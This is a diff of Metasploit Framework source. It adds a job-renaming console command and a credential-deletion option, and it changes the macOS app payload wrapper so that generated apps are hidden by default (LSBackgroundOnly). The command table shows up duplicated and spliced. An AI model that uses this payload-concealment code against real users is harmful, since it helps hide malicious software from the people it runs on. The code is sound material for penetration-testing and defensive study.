"connect" => "Communicate with a host",
"color" => "Toggle color",
"exit" => "Exit the console",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"get" => "Gets the value of a context-specific variable",
"getg" => "Gets the value of a global variable",
"go_pro" => "Launch Metasploit web GUI",
"grep" => "Grep the output of another command",
"help" => "Help menu",
"info" => "Displays information about one or more module",
"irb" => "Drop into irb scripting mode",
"jobs" => "Displays and manages jobs",
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
"?" => "Help menu",
"back" => "Move back from the current context",
"banner" => "Display an awesome metasploit banner",
"cd" => "Change the current working directory",
"connect" => "Communicate with a host",
"color" => "Toggle color",
"exit" => "Exit the console",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"get" => "Gets the value of a context-specific variable",
"getg" => "Gets the value of a global variable",
"go_pro" => "Launch Metasploit web GUI",
"grep" => "Grep the output of another command",
"help" => "Help menu",
"info" => "Displays information about one or more module",
"irb" => "Drop into irb scripting mode",
"jobs" => "Displays and manages jobs",
"rename_job" => "Rename a job",
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
"reload_all" => "Reloads all modules from all defined module paths",
"route" => "Route traffic through a session",
"save" => "Saves the active datastores",
"search" => "Searches module names and descriptions",
"sessions" => "Dump session listings and display information about sessions",
"set" => "Sets a context-specific variable to a value",
"setg" => "Sets a global variable to a value",
"show" => "Displays modules of a given type, or all modules",
"sleep" => "Do nothing for the specified number of seconds",
"threads" => "View and manipulate background threads",
"unload" => "Unload a framework plugin",
"unset" => "Unsets one or more context-specific variables",
"unsetg" => "Unsets one or more global variables",
"use" => "Selects a module by name",
"version" => "Show the framework and console library version numbers",
"spool" => "Write console output into a file as well the screen"
"route" => "Route traffic through a session",
"save" => "Saves the active datastores",
"search" => "Searches module names and descriptions",
"sessions" => "Dump session listings and display information about sessions",
"set" => "Sets a context-specific variable to a value",
"setg" => "Sets a global variable to a value",
"show" => "Displays modules of a given type, or all modules",
"sleep" => "Do nothing for the specified number of seconds",
"threads" => "View and manipulate background threads",
"unload" => "Unload a framework plugin",
"unset" => "Unsets one or more context-specific variables",
"unsetg" => "Unsets one or more global variables",
"use" => "Selects a module by name",
"version" => "Show the framework and console library version numbers",
"spool" => "Write console output into a file as well the screen"
}
end
@ -780,6 +781,50 @@ class Core
end
end
def cmd_rename_job_help
print_line "Usage: rename_job [ID] [Name]"
print_line
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
print_line
print_line "Rename a job that's currently active."
print_line "You may use the jobs command to see what jobs are available."
print_line
end
def cmd_rename_job(*args)
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
cmd_rename_job_help
return false
end
job_id = args[0].to_s
job_name = args[1].to_s
unless framework.jobs[job_id]
print_error("Job #{job_id} does not exist.")
return false
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
true
end
#
# Tab completion for the rename_job command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_rename_job_tabs(str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_jobs_help
print_line "Usage: jobs [options]"
print_line

View File

@ -674,6 +674,7 @@ class Db
print_line "General options"
print_line " -h,--help Show this help information"
print_line " -o <file> Send output to a file in csv format"
print_line " -d Delete one or more credentials"
print_line
print_line "Filter options for listing"
print_line " -P,--password <regex> List passwords that match this regex"
@ -701,6 +702,11 @@ class Db
print_line " # Add a user with an SSH key"
print_line " creds add-ssh-key root /root/.ssh/id_rsa"
print_line
print_line "Example, deleting:"
print_line " # Delete all SMB credentials"
print_line " creds -d -s smb"
print_line
end
# @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential`

View File

@ -725,7 +725,7 @@ protected
if opts['RealReadline']
# Remove the gem version from load path to be sure we're getting the
# stdlib readline.
gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir
gem_dir = Gem::Specification.find_all_by_name('rb-readline-r7').first.gem_dir
rb_readline_path = File.join(gem_dir, "lib")
index = $LOAD_PATH.index(rb_readline_path)
# Bundler guarantees that the gem will be there, so it should be safe to

View File

@ -734,16 +734,27 @@ require 'msf/core/exe/segment_injector'
# @param [Hash] opts the options hash
# @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
# @option opts [String] :app_name (random) the name of the OSX app
# @option opts [String] :hidden (true) hide the app when it is running
# @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
# @return [String] zip archive containing an OSX .app directory
def self.to_osx_app(exe, opts = {})
exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8)
app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8)
plist_extra = opts[:plist_extra] || ''
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
hidden = opts.fetch(:hidden, true)
plist_extra = opts.fetch(:plist_extra, '')
app_name.chomp!(".app")
app_name += ".app"
visible_plist = if hidden
%Q|
<key>LSBackgroundOnly</key>
<string>1</string>
|
else
''
end
info_plist = %Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -754,7 +765,7 @@ require 'msf/core/exe/segment_injector'
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>
<string>#{exe_name}</string>#{visible_plist}
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}

View File

@ -18,7 +18,7 @@ end
class BoundsError < ElfError
end
class WtfError < ElfError
class ElfParseyError < ElfError
end
end

Some files were not shown because too many files have changed in this diff Show More